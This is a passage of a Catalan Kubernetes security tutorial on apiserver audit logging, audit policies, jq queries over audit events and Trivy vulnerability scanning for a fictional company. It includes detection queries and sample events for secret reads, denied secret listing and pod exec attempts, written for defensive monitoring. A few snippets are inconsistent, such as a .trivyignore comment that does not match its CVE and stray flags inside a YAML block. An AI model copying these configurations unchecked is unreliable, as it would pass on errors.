Al llarg d'aquest mòdul hem tancat quatre dimensions de la seguretat de Rutas Norte: qui pot fer què (08-01), què pot fer un contenidor (08-02 i 08-03), què parla amb què (08-04) i quines imatges s'executen (08-05). Hem posat portes a tot arreu.

Però van quedar dues preguntes sense resposta, i són exactament les dues que fa qualsevol auditoria.

La primera és "qui va fer què?". Si demà descobrim que el Secret amb les credencials de postgres-reserves va ser llegit, o que un Deployment va desaparèixer, o que una ServiceAccount va fer alguna cosa estranya a les tres de la matinada, ara mateix no tenim manera de saber-ho. Hem posat portes, però no portem registre de qui les creua.

La segona és "quins forats tinc ara mateix?". Sabem escanejar una imatge abans de publicar-la, però les que fa mesos que són a producció acumulen vulnerabilitats noves cada setmana i ningú no les està mirant. I no només les imatges: la configuració del mateix clúster pot tenir desviacions que ningú no ha revisat.

Aquesta lliçó tanca el mòdul responent a totes dues, i acaba amb el que de debò falta a la majoria dels equips: la gestió de vulnerabilitats com a procés, no com una llista d'alertes que ningú no mira.

Advertiment important. La política d'auditoria, els llindars de vulnerabilitat i el procés de gestió que es descriuen aquí són un exemple raonable, no una plantilla universal. Els ha de dissenyar i revisar un professional de seguretat coneixent el model d'amenaces de l'organització. I com que el registre d'auditoria de Rutas Norte documenta accessos a sistemes que tracten dades personals de clients, tant el seu contingut com el seu termini de conservació han de ser aprovats pel responsable de compliment normatiu: un registre d'auditoria mal configurat pot convertir-se ell mateix en una font de dades personals que cal protegir. L'enfocament d'aquesta lliçó és exclusivament defensiu: detectar, registrar i corregir.

Contingut

  1. El registre d'auditoria de l'apiserver
  2. La política d'auditoria i els seus quatre nivells
  3. Una política raonable per a Rutas Norte
  4. Anàlisi pràctica d'esdeveniments d'auditoria
  5. Escaneig de vulnerabilitats d'imatges amb Trivy
  6. El Trivy Operator dins del clúster
  7. Avaluació del clúster amb kube-bench i els estàndards CIS
  8. Detecció en temps d'execució amb Falco
  9. Integrar les alertes de Falco amb Alertmanager
  10. Gestió de vulnerabilitats com a procés
  11. Evidències i auditories de compliment
  12. Llista de verificació final de seguretat de la plataforma
  13. Errors comuns i consells
  14. Exercicis
  15. Conclusió

  1. El registre d'auditoria de l'apiserver

Recorda de 08-01 que tot a Kubernetes passa per l'apiserver: kubectl, els controladors, el kubelet, els operadors, informes-ocupacio. Això converteix l'apiserver en el punt perfecte per registrar qui fa què.

El registre d'auditoria (audit log) és un flux d'esdeveniments en JSON que documenta cada petició: qui la va fer, des d'on, què va demanar, què va respondre el servidor i quan.

Les quatre etapes d'una petició

Cada petició pot generar fins a quatre esdeveniments, segons en quin moment es registri:

Etapa Quan s'emet Ús
RequestReceived Tot just arribar la petició Detectar peticions que es queden penjades
ResponseStarted En començar a respondre Només per a peticions llargues (watch)
ResponseComplete En acabar la resposta L'esdeveniment útil per defecte
Panic Si el servidor falla Diagnòstic de fallades internes

Gairebé sempre interessa només ResponseComplete: és un esdeveniment per petició, amb el resultat ja conegut.

Anatomia d'un esdeveniment

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "Metadata",
  "auditID": "8f3c1e94-2b7a-4d5e-9c81-6a4f2e8d1b03",
  "stage": "ResponseComplete",
  "requestURI": "/api/v1/namespaces/rutas-norte-pro/secrets/postgres-reserves-credencials",
  "verb": "get",
  "user": {
    "username": "[email protected]",
    "groups": ["plataforma", "system:authenticated"]
  },
  "sourceIPs": ["10.4.12.87"],
  "userAgent": "kubectl/v1.30.3 (linux/amd64) kubernetes/6fc0a69",
  "objectRef": {
    "resource": "secrets",
    "namespace": "rutas-norte-pro",
    "name": "postgres-reserves-credencials",
    "apiVersion": "v1"
  },
  "responseStatus": { "metadata": {}, "code": 200 },
  "requestReceivedTimestamp": "2026-08-06T03:14:22.481930Z",
  "stageTimestamp": "2026-08-06T03:14:22.489114Z",
  "annotations": {
    "authorization.k8s.io/decision": "allow",
    "authorization.k8s.io/reason": "RoleBinding \"plataforma-admin\" of ClusterRole \"admin\" to Group \"plataforma\""
  }
}

Llegeix aquell esdeveniment amb atenció, perquè resumeix tot el mòdul. Ens diu:

  • Qui: [email protected], del grup plataforma.
  • Què: va llegir (get) el Secret amb les credencials de la base de dades de clients.
  • Quan: a les 03:14 de la matinada.
  • Des d'on: la IP 10.4.12.87, amb kubectl.
  • Amb quin permís: el RoleBinding que vam escriure a 08-01.
  • Resultat: 200, és a dir, ho va aconseguir.

Sense registre d'auditoria, cap d'aquelles sis coses no seria coneixible. Amb ell, la pregunta "algú va llegir les credencials de la base de dades?" té resposta en segons.

Fixa't especialment en el camp annotations: l'anotació authorization.k8s.io/reason et diu quin binding de RBAC va concedir el permís. És una eina d'auditoria de RBAC extraordinària: quan vegis un accés que no esperaves, aquella línia et diu exactament quin manifest cal corregir.

Configurar el registre d'auditoria

Requereix tocar els paràmetres de l'apiserver, així que necessites accés al pla de control:

# /etc/kubernetes/manifests/kube-apiserver.yaml (fragment)
spec:
  containers:
    - name: kube-apiserver
      command:
        - kube-apiserver
        # Fitxer amb la política: què es registra i amb quin detall
        - --audit-policy-file=/etc/kubernetes/auditoria/politica.yaml
        # Destí de fitxer
        - --audit-log-path=/var/log/kubernetes/auditoria.log
        - --audit-log-maxage=90        # dies que es conserven
        - --audit-log-maxbackup=30     # nombre de fitxers rotats
        - --audit-log-maxsize=200      # MB per fitxer abans de rotar
        - --audit-log-format=json
      volumeMounts:
        - name: politica-auditoria
          mountPath: /etc/kubernetes/auditoria
          readOnly: true
        - name: logs-auditoria
          mountPath: /var/log/kubernetes
  volumes:
    - name: politica-auditoria
      hostPath:
        path: /etc/kubernetes/auditoria
        type: DirectoryOrCreate
    - name: logs-auditoria
      hostPath:
        path: /var/log/kubernetes
        type: DirectoryOrCreate

A Kubernetes gestionat (10-06) això es configura des del proveïdor: EKS envia els logs a CloudWatch, AKS a Azure Monitor i GKE a Cloud Logging. La política sol ser fixa o parcialment configurable, cosa que és una limitació real a tenir en compte.

Fitxer o webhook

Destí Com funciona A favor En contra
Fitxer S'escriu al disc del node de control Senzill, sense dependències, no es perd si la xarxa falla És al node: qui el comprometi el pot esborrar. Cal recollir-lo
Webhook S'envia a un servei HTTP extern Centralitzat, fora de l'abast de qui comprometi el clúster, retenció independent Si el destí no respon, es poden perdre esdeveniments; afegeix latència
# /etc/kubernetes/auditoria/webhook.yaml
apiVersion: v1
kind: Config
clusters:
  - name: recollector-auditoria
    cluster:
      server: https://auditoria.rutasnorte.example/esdeveniments
      certificate-authority: /etc/kubernetes/pki/ca-auditoria.crt
contexts:
  - name: auditoria
    context:
      cluster: recollector-auditoria
      user: apiserver-rutasnorte
current-context: auditoria
users:
  - name: apiserver-rutasnorte
    user:
      client-certificate: /etc/kubernetes/pki/apiserver-auditoria.crt
      client-key: /etc/kubernetes/pki/apiserver-auditoria.key
        - --audit-webhook-config-file=/etc/kubernetes/auditoria/webhook.yaml
        - --audit-webhook-mode=batch          # agrupa esdeveniments: menys latència
        - --audit-webhook-batch-max-size=400
        - --audit-webhook-batch-max-wait=30s

Recomanació per a Rutas Norte: tots dos. Fitxer com a xarxa de seguretat local, i webhook cap al sistema de logs centralitzat.

I aquí hi ha un punt de disseny important que connecta amb el mòdul 7: el destí del webhook no ha de ser el mateix Elasticsearch on van els logs d'aplicació. La raó és de contenció: si algú compromet el clúster, té accés a l'Elasticsearch on escriuen els pods, i podria manipular o esborrar les evidències. El registre d'auditoria ha d'anar a un sistema al qual el clúster només pugui escriure, mai llegir ni esborrar. És una diferència arquitectònica petita amb una conseqüència enorme durant un incident.

  1. La política d'auditoria i els seus quatre nivells

Registrar-ho tot amb màxim detall és inviable: un clúster mitjà genera desenes de milers de peticions per minut, la majoria d'elles soroll (el kubelet informant de l'estat dels nodes, els controladors observant canvis). La política decideix què es registra i amb quant detall.

Els quatre nivells

Nivell Què registra Mida Quan fer-lo servir
None Res. Descarta l'esdeveniment 0 Soroll conegut: sondes, peticions de sistema
Metadata Qui, què, quan, resultat. Sense cossos Petita El nivell per defecte per a gairebé tot
Request Metadades + el cos enviat Gran Escriptures que cal poder reconstruir
RequestResponse Metadades + cos enviat i retornat Molt gran Casos molt concrets i justificats

Avís crític sobre RequestResponse i els Secrets. Si registres RequestResponse sobre secrets, el contingut del secret queda escrit en text al fitxer d'auditoria. Les credencials de postgres-reserves acabarien al log, que probablement es replica al sistema de logs centralitzat i a les seves còpies de seguretat. Hauries convertit el teu registre d'auditoria en el pitjor magatzem de secrets possible.

Per a Secrets, fes servir sempre Metadata. Saber qui va llegir el secret és exactament el que necessites; saber què contenia ja ho saps, i no ha d'estar en cap log.

El mateix raonament s'aplica a qualsevol recurs que pugui contenir dades personals. Si api-reserves tingués un recurs personalitzat amb dades de clients, Request sobre ell registraria aquelles dades al log d'auditoria. És exactament el tipus de decisió que ha de revisar el responsable de compliment.

Com s'avalua la política

És una llista ordenada de regles. S'aplica la primera que coincideix i es descarten les altres. L'ordre ho és tot:

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: None       # <- aquesta s'avalua primer
    resources:
      - group: ""
        resources: ["events"]
  - level: Metadata   # <- només s'hi arriba si l'anterior no ha coincidit

Posar les regles de None (el soroll) al principi i les específiques després és el que fa que el fitxer sigui manejable.

Criteris de coincidència

Camp Què filtra Exemple
users Noms d'usuari exactes system:kube-scheduler
userGroups Grups system:nodes
verbs Operacions ["get", "list", "watch"]
resources Grup d'API i recursos {group: "", resources: ["secrets"]}
namespaces Namespaces ["rutas-norte-pro"]
nonResourceURLs Rutes que no són recursos ["/healthz*", "/version"]
omitStages Etapes que no es registren ["RequestReceived"]

  1. Una política raonable per a Rutas Norte

L'objectiu és registrar en detall el que importa —accessos a Secrets, escriptures a producció, canvis de RBAC— sense ofegar-se en soroll.

# /etc/kubernetes/auditoria/politica.yaml
apiVersion: audit.k8s.io/v1
kind: Policy

# RequestReceived duplica cada esdeveniment sense aportar res en el cas general
omitStages:
  - RequestReceived

rules:
  # ============================================================
  # BLOC 1: soroll que NO es registra (va primer, per ordre)
  # ============================================================

  # Comprovacions de salut i descobriment de l'API: milers per minut
  - level: None
    nonResourceURLs:
      - /healthz*
      - /livez*
      - /readyz*
      - /version
      - /openapi*
      - /apis
      - /apis/*
      - /api
      - /api/*
      - /metrics

  # Els nodes informant del seu estat constantment
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["nodes", "nodes/status", "pods", "endpoints"]

  # Els controladors del pla de control observant canvis
  - level: None
    userGroups: ["system:serviceaccounts:kube-system"]
    verbs: ["get", "list", "watch"]

  # Els esdeveniments de Kubernetes: són moltíssims i ja es recullen a part (07-06)
  - level: None
    resources:
      - group: ""
        resources: ["events"]

  # Renovació d'arrendaments d'elecció de líder: constant i sense interès
  - level: None
    resources:
      - group: "coordination.k8s.io"
        resources: ["leases"]

  # ============================================================
  # BLOC 2: el crític, amb el màxim detall que és segur
  # ============================================================

  # --- SECRETS: qui els toca, SEMPRE, a tots els namespaces ---
  # Nivell Metadata a propòsit: registrar el contingut escriuria
  # les credencials de la base de dades de clients al log.
  - level: Metadata
    resources:
      - group: ""
        resources: ["secrets"]
    omitStages:
      - RequestReceived

  # --- Emissió de tokens de ServiceAccount: via de suplantació (08-01) ---
  - level: Metadata
    resources:
      - group: ""
        resources: ["serviceaccounts/token"]

  # --- RBAC: qualsevol canvi en qui pot fer què ---
  # Aquí sí Request: volem poder reconstruir exactament quin permís
  # es va concedir. Un Role no conté dades personals.
  - level: Request
    resources:
      - group: "rbac.authorization.k8s.io"
        resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]

  # --- Polítiques d'admissió i de xarxa: desactivar-les és un atac ---
  - level: Request
    resources:
      - group: "admissionregistration.k8s.io"
      - group: "kyverno.io"
      - group: "networking.k8s.io"
        resources: ["networkpolicies"]
      - group: "policy"

  # --- Configuració dels namespaces: inclou les etiquetes del PSA (08-03) ---
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    resources:
      - group: ""
        resources: ["namespaces"]

  # ============================================================
  # BLOC 3: producció, amb més detall que la resta
  # ============================================================

  # Tota ESCRIPTURA a rutas-norte-pro, amb el cos de la petició
  - level: Request
    verbs: ["create", "update", "patch", "delete", "deletecollection"]
    namespaces: ["rutas-norte-pro"]

  # Operacions interactives sobre pods: exec, attach, port-forward,
  # contenidors efímers. Són les de més risc (08-01).
  - level: Request
    resources:
      - group: ""
        resources:
          - pods/exec
          - pods/attach
          - pods/portforward
          - pods/ephemeralcontainers

  # Lectura de logs: poden contenir informació de clients
  - level: Metadata
    resources:
      - group: ""
        resources: ["pods/log"]

  # ============================================================
  # BLOC 4: la resta
  # ============================================================

  # Escriptures en qualsevol altre namespace: metadades
  - level: Metadata
    verbs: ["create", "update", "patch", "delete", "deletecollection"]

  # Tota la resta (lectures normals): metadades
  - level: Metadata

Les decisions, explicades

Decisió Raó
omitStages: [RequestReceived] global Divideix el volum per dos sense perdre informació útil
None per a sondes i descobriment És el 70-80 % del volum i no aporta res
None per al kubelet i els controladors en lectura Soroll constant de funcionament normal
Metadata per a Secrets, mai Request Registrar el contingut escriuria les credencials al log
Request per a RBAC Volem poder reconstruir quin permís exacte es va concedir
Request per a polítiques d'admissió i de xarxa Desactivar-les és el pas previ a altres accions
Request per a escriptures a rutas-norte-pro Producció mereix més detall
Request per a pods/exec i afins Màxim risc: accés interactiu a un contenidor
Metadata per a pods/log Saber qui va llegir logs, sense duplicar-ne el contingut

Estimació de volum

Abans d'aplicar la política a producció, mesura. A rutas-norte-pre:

# Mida del log en una hora
ls -lh /var/log/kubernetes/auditoria.log

# Distribució per nivell
jq -r '.level' /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn
  18432 Metadata
   1204 Request
# Quins recursos generen més esdeveniments: candidats a afegir a la llista de None
jq -r '.objectRef.resource // "sense-recurs"' /var/log/kubernetes/auditoria.log \
  | sort | uniq -c | sort -rn | head -10
   6218 pods
   3891 configmaps
   2104 endpointslices
   1877 deployments
   1442 secrets
    998 replicasets
    712 services
    488 nodes
    301 rolebindings
     94 pods/log

Aquella taula és la guia per afinar la política. Si endpointslices genera 2.100 esdeveniments i no els consultaràs mai, afegeix-los a None.

Amb la política anterior, un clúster de la mida de Rutas Norte genera de l'ordre d'1-3 GB al dia. Amb 90 dies de retenció, uns 100-250 GB. És perfectament manejable, però cal planificar-ho i no descobrir-ho quan s'ompli el disc del node de control (cosa que, a més, atura l'apiserver: si no pot escriure el log d'auditoria, deixa de servir peticions).

  1. Anàlisi pràctica d'esdeveniments d'auditoria

El log d'auditoria només val si saps consultar-lo. Aquí van les consultes que es necessiten de debò, resolent preguntes concretes.

Pregunta 1: qui va llegir les credencials de la base de dades?

És la pregunta d'aquest mòdul.

jq -r 'select(
    .objectRef.resource == "secrets" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb == "get" or .verb == "list" or .verb == "watch")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name // "TOTS")  \(.sourceIPs[0])  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log | sort
2026-08-05T09:12:04Z  system:serviceaccount:rutas-norte-pro:api-reserves  get  api-reserves-bd  10.244.2.19  200
2026-08-05T14:33:41Z  [email protected]  get  postgres-reserves-credencials  10.4.12.87  200
2026-08-06T03:14:22Z  [email protected]  get  postgres-reserves-credencials  10.4.12.87  200
2026-08-06T03:14:58Z  [email protected]  list  TOTS  10.4.12.203  403

Quatre línies, quatre històries:

  • La primera és normal: la ServiceAccount d'api-reserves llegint el seu propi secret.
  • La segona és una lectura de plataforma en horari laboral. Verificable amb un tiquet.
  • La tercera és la mateixa persona a les 03:14 de la matinada. No és necessàriament maliciós —pot haver estat una incidència nocturna— però és una anomalia que cal confirmar.
  • La quarta és un 403: carles.vega, del grup desenvolupament, va intentar llistar tots els secrets de producció. El RBAC de 08-01 ho va denegar. Que un desenvolupador intenti això a les 03:14 mereix una conversa, i si no va ser ell, és un incident greu: algú està fent servir les seves credencials.

Fixa't en el valor de registrar també els intents fallits. Un 403 és un senyal de detecció, no un no-esdeveniment.

Pregunta 2: qui va esborrar aquell Deployment?

jq -r 'select(
    .verb == "delete" and
    .objectRef.resource == "deployments" and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  va esborrar \(.objectRef.name)  des de \(.sourceIPs[0])  agent=\(.userAgent)"' \
  /var/log/kubernetes/auditoria.log
2026-08-05T16:47:12Z  system:serviceaccount:argocd:argocd-application-controller  va esborrar exportador-heretat  des de 10.244.1.8  agent=argocd-application-controller/v2.12.3

Resposta immediata: el va esborrar Argo CD, és a dir, algú va eliminar aquell manifest del repositori de Git. La pregunta es trasllada a l'historial de commits. Sense auditoria, això hauria estat una tarda de conjectures.

Pregunta 3: què va fer aquella ServiceAccount?

SA="system:serviceaccount:rutas-norte-pro:worker-notificacions"

jq -r --arg sa "$SA" 'select(.user.username == $sa)
  | "\(.stageTimestamp)  \(.verb)  \(.objectRef.resource // "-")/\(.objectRef.name // "-")  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log | sort | uniq -c | sort -rn | head -20
     42 2026-08-06T...  get  configmaps/worker-config  200
      3 2026-08-06T...  list  secrets/-  403
      1 2026-08-06T...  create  pods/exec  403

Les dues últimes línies són un senyal d'alarma clar. worker-notificacions no té cap motiu per intentar llistar secrets ni per intentar obrir una shell en un pod. Els 403 confirmen que el RBAC va funcionar, però que un procés estigui intentant aquelles operacions significa que està fent alguna cosa que no hauria.

Compara amb l'exercici de 08-04, on aquell mateix component apareixia sondejant la xarxa: si totes dues senyals coincideixen en el temps, tens un pod compromès, i ara tens evidència des de dues fonts independents.

Pregunta 4: qui ha entrat en contenidors de producció?

jq -r 'select(
    (.objectRef.subresource == "exec" or .objectRef.subresource == "attach" or
     .objectRef.subresource == "ephemeralcontainers") and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.objectRef.subresource)  pod=\(.objectRef.name)  \(.responseStatus.code)"' \
  /var/log/kubernetes/auditoria.log
2026-08-04T11:02:33Z  [email protected]  exec  pod=api-reserves-6d4f8b9c7-k2m4x  101
2026-08-06T02:58:14Z  [email protected]  exec  pod=postgres-reserves-0  403

El codi 101 és "canvi de protocol": la sessió es va establir. El 403 de la segona línia confirma que el RBAC de 08-01 va impedir que algú de desenvolupament entrés a la base de dades de clients. Exactament el que vam dissenyar.

Pregunta 5: ha canviat algú el RBAC?

jq -r 'select(
    .objectRef.apiGroup == "rbac.authorization.k8s.io" and
    (.verb == "create" or .verb == "update" or .verb == "patch" or .verb == "delete")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.resource)/\(.objectRef.name)"' \
  /var/log/kubernetes/auditoria.log
2026-08-06T01:33:07Z  [email protected]  create  clusterrolebindings/depuracio-temporal

Un ClusterRoleBinding creat a la una de la matinada amb un nom que diu "temporal". Amb level: Request a la política de RBAC, podem veure exactament què concedia:

jq -r 'select(.objectRef.name == "depuracio-temporal") | .requestObject' \
  /var/log/kubernetes/auditoria.log
{
  "kind": "ClusterRoleBinding",
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "metadata": { "name": "depuracio-temporal" },
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "cluster-admin"
  },
  "subjects": [
    { "kind": "Group", "name": "desenvolupament", "apiGroup": "rbac.authorization.k8s.io" }
  ]
}

Algú va concedir cluster-admin a tot l'equip de desenvolupament durant una incidència nocturna. Si continua existint, és una troballa greu. Aquesta és precisament la classe de cosa que l'apartat 11 de la lliçó 08-01 ens deia que cal buscar a la revisió trimestral, i ara tenim la data, l'hora i el responsable.

Un guió d'informe diari

#!/usr/bin/env bash
# seguretat/informe-auditoria-diari.sh
# Resum diari d'esdeveniments d'auditoria rellevants.
set -euo pipefail
LOG="${1:-/var/log/kubernetes/auditoria.log}"
DATA=$(date -u +%Y-%m-%d)

echo "=== Informe d'auditoria — $DATA ==="
echo

echo "--- Accessos a Secrets de rutas-norte-pro ---"
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.user.username)"' "$LOG" | sort | uniq -c | sort -rn

echo
echo "--- Sessions interactives a producció (exec/attach/debug) ---"
jq -r 'select((.objectRef.subresource // "") | test("exec|attach|ephemeralcontainers"))
  | select(.objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.objectRef.name)"' "$LOG"

echo
echo "--- Canvis a RBAC ---"
jq -r 'select(.objectRef.apiGroup == "rbac.authorization.k8s.io")
  | select(.verb | test("create|update|patch|delete"))
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.resource)/\(.objectRef.name)"' "$LOG"

echo
echo "--- Peticions DENEGADES (403): possible sondeig ---"
jq -r 'select(.responseStatus.code == 403)
  | "\(.user.username) -> \(.verb) \(.objectRef.resource // .requestURI)"' "$LOG" \
  | sort | uniq -c | sort -rn | head -15

echo
echo "--- Violacions registrades pel Pod Security Admission (08-03) ---"
jq -r 'select(.annotations["pod-security.kubernetes.io/audit-violations"] != null)
  | "\(.objectRef.namespace)/\(.objectRef.name): \(.annotations["pod-security.kubernetes.io/audit-violations"])"' \
  "$LOG" | sort -u

Aquella última secció connecta directament amb 08-03: el mode audit del PSA escriu les seves violacions com a anotacions als esdeveniments d'auditoria. Si tens namespaces en enforce: baseline amb audit: restricted, aquesta consulta et diu exactament quins pods no arribarien a restricted.

Aquest informe, executat diàriament i revisat per una persona, és una de les pràctiques de seguretat amb millor relació entre esforç i valor de tot el mòdul.

  1. Escaneig de vulnerabilitats d'imatges amb Trivy

A 08-05 vam dir que una imatge no es degrada: el món canvia al seu voltant. Ara mesurarem quant.

Trivy és un escàner que compara els components d'una imatge (el SBOM, de fet) amb bases de dades públiques de vulnerabilitats.

Escaneig local

trivy image registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1
registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1 (debian 12.7)
==========================================================================
Total: 4 (UNKNOWN: 0, LOW: 2, MEDIUM: 1, HIGH: 1, CRITICAL: 0)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ libssl3      │ CVE-2026-11042 │ HIGH     │ fixed  │ 3.0.14-1          │ 3.0.15-1      │
│ libc6        │ CVE-2026-10877 │ MEDIUM   │ fixed  │ 2.36-9            │ 2.36-9+deb12u1│
│ zlib1g       │ CVE-2025-98004 │ LOW      │ affected│ 1:1.2.13.dfsg-1  │               │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

Node.js (node-pkg)
==================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 1)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ jsonwebtoken │ CVE-2026-12033 │ CRITICAL │ fixed  │ 9.0.2             │ 9.0.3         │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

La columna Status és la més important i molta gent la ignora:

Estat Significat Què fer
fixed Hi ha una versió corregida disponible Actualitzar. És accionable
affected Confirmada, sense correcció encara Mitigar o acceptar; vigilar
will_not_fix El mantenidor no la corregirà Avaluar si afecta el teu ús
fix_deferred Es corregirà més endavant Vigilar
end_of_life El component ja no té suport Migrar: és el més greu

Un CRITICAL amb estat fixed és urgent i senzill: actualitza la dependència. Un HIGH amb will_not_fix requereix anàlisi, no acció immediata.

Escaneig a la canalització amb llindar

# .gitlab-ci.yml (fragment) — escaneig que trenca la construcció
escanejar-imatge:
  stage: verificar
  script:
    # Actualitzar la base de vulnerabilitats per separat: si falla la
    # descàrrega, volem saber-ho, no que l'escaneig passi per defecte
    - trivy image --download-db-only

    # Informe llegible per al registre de la canalització
    - trivy image --severity LOW,MEDIUM,HIGH,CRITICAL "${IMATGE}:${VERSION}"

    # Porta de qualitat: CRITICAL o HIGH amb correcció disponible = falla
    - |
      trivy image \
        --severity HIGH,CRITICAL \
        --ignore-unfixed \
        --exit-code 1 \
        --ignorefile .trivyignore \
        "${IMATGE}:${VERSION}"

    # Informe en format SARIF per a la interfície de la plataforma de CI
    - trivy image --format sarif --output trivy.sarif "${IMATGE}:${VERSION}"

    # Escaneig de secrets: credencials oblidades a les capes (08-05)
    - trivy image --scanners secret --exit-code 1 "${IMATGE}:${VERSION}"
  artifacts:
    reports:
      sast: trivy.sarif
    expire_in: 90 days

Les dues opcions que fan això viable:

  • --ignore-unfixed: només falla per vulnerabilitats amb correcció disponible. Sense això, una vulnerabilitat sense pedaç bloquejaria tots els desplegaments indefinidament, cosa que porta que l'equip desactivi la comprovació. Una porta que sempre està tancada acaba desmuntada.
  • --ignorefile: excepcions documentades.
# .trivyignore
# Format: CVE  # motiu — responsable — data de caducitat
#
# AQUEST FITXER ES REVISA EN CADA AUDITORIA TRIMESTRAL.
# Una excepció sense data de caducitat és una fallada de procés.

# El binari afectat (openssl com a eina de línia d'ordres) no és
# present a la imatge distroless; només la llibreria, que no fa servir la ruta
# vulnerable. Confirmat amb l'equip de seguretat.
# Responsable: plataforma — Caduca: 2026-11-01
CVE-2026-10877

# Sense correcció disponible del mantenidor. El component no processa entrada
# externa en el nostre ús. Revisat 2026-08-01.
# Responsable: plataforma — Caduca: 2026-10-01
CVE-2025-98004

Aquell format de comentari no és decoratiu: una excepció sense motiu, sense responsable i sense data de caducitat és una vulnerabilitat acceptada en silenci. Ho desenvolupem a l'apartat 10.

Escaneig continu del registre

Aquest és el punt que tanca el buit. Una imatge escanejada al juny pot tenir vulnerabilitats crítiques a l'agost sense que ningú l'hagi tocada.

#!/usr/bin/env bash
# seguretat/escanejar-registre.sh
# Escaneig setmanal de totes les imatges desplegades a producció.
set -uo pipefail

# Obtenir les imatges que estan REALMENT corrent, per digest
kubectl get pods -A -o json | jq -r '
  .items[].status.containerStatuses[]?.imageID' \
  | grep '^registry.rutasnorte.example' | sort -u > /tmp/imatges-en-us.txt

echo "Imatges en execució: $(wc -l < /tmp/imatges-en-us.txt)"
troballes=0

while read -r imatge; do
  resultat=$(trivy image --severity CRITICAL,HIGH --ignore-unfixed \
                --format json --quiet "$imatge" 2>/dev/null)
  n=$(echo "$resultat" | jq '[.Results[]?.Vulnerabilities[]?] | length')
  if [[ "$n" -gt 0 ]]; then
    echo "=== $imatge: $n vulnerabilitats amb correcció disponible"
    echo "$resultat" | jq -r '.Results[]?.Vulnerabilities[]?
      | "    \(.Severity)  \(.VulnerabilityID)  \(.PkgName) \(.InstalledVersion) -> \(.FixedVersion)"' \
      | sort -u
    troballes=$((troballes + n))
  fi
done < /tmp/imatges-en-us.txt

echo
echo "Total de troballes accionables: $troballes"
Imatges en execució: 8
=== registry.rutasnorte.example/rutasnorte/api-reserves@sha256:9f2c1d...: 2 vulnerabilitats amb correcció disponible
    CRITICAL  CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
    HIGH      CVE-2026-11042  libssl3 3.0.14-1 -> 3.0.15-1
=== registry.rutasnorte.example/externes/postgres@sha256:2a7f4c...: 1 vulnerabilitats amb correcció disponible
    HIGH      CVE-2026-10991  libxml2 2.9.14 -> 2.9.14+deb12u2

Total de troballes accionables: 3

Escanejar el que està corrent per digest, i no el que diuen els manifests, és la diferència entre saber la teva situació real i suposar-la. Si algun pod està executant un digest diferent de l'esperat (recorda 08-05), aquest guió l'escaneja igualment.

Grype com a alternativa

Grype, d'Anchore, és l'altre escàner àmpliament utilitzat:

grype registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1 -o table
Trivy Grype
Abast Imatges, sistemes de fitxers, repositoris, IaC, Kubernetes, secrets Imatges i SBOM
Integració amb SBOM Genera i consumeix Consumeix SBOM de Syft, del mateix projecte
Operador per a Kubernetes (Trivy Operator) Via Anchore
Velocitat Molt ràpid Ràpid
Configuració Àmplia Més simple

Tots dos són bons i els seus resultats difereixen lleugerament perquè fan servir fonts de dades parcialment diferents. Fer servir tots dos a la canalització no és paranoia: és una pràctica raonable, perquè un detecta coses que a l'altre se li escapen. Per a Rutas Norte, Trivy com a principal (per l'operador i l'amplitud) i Grype com a segona opinió sobre el SBOM que ja generem a 08-05.

  1. El Trivy Operator dins del clúster

Escanejar a mà funciona fins que deixes de recordar-te'n. El Trivy Operator ho automatitza: vigila les càrregues de treball del clúster, escaneja les seves imatges i publica els resultats com a recursos personalitzats (recorda els CRDs de 06-06).

helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm install trivy-operator aqua/trivy-operator \
  --namespace trivy-system --create-namespace \
  --set trivy.ignoreUnfixed=true \
  --set operator.scanJobTimeout=10m \
  --set operator.vulnerabilityScannerScanOnlyCurrentRevisions=true \
  --set operator.scanJobsConcurrentLimit=3

Aquell scanJobsConcurrentLimit importa: sense ell, l'operador pot llançar desenes de Jobs d'escaneig simultanis i saturar el clúster just quan menys falta fa.

Els informes com a recursos del clúster

kubectl get vulnerabilityreports -n rutas-norte-pro
NAME                                          REPOSITORY                            TAG      SCANNER   AGE   CRITICAL   HIGH   MEDIUM   LOW
replicaset-api-reserves-6d4f8b9c7-api         rutasnorte/api-reserves               2.7.1    Trivy     3h    1          1      1        2
replicaset-botiga-web-6f8d9c4b7-nginx         externes/nginx-unprivileged           1.27.1   Trivy     3h    0          0      2        4
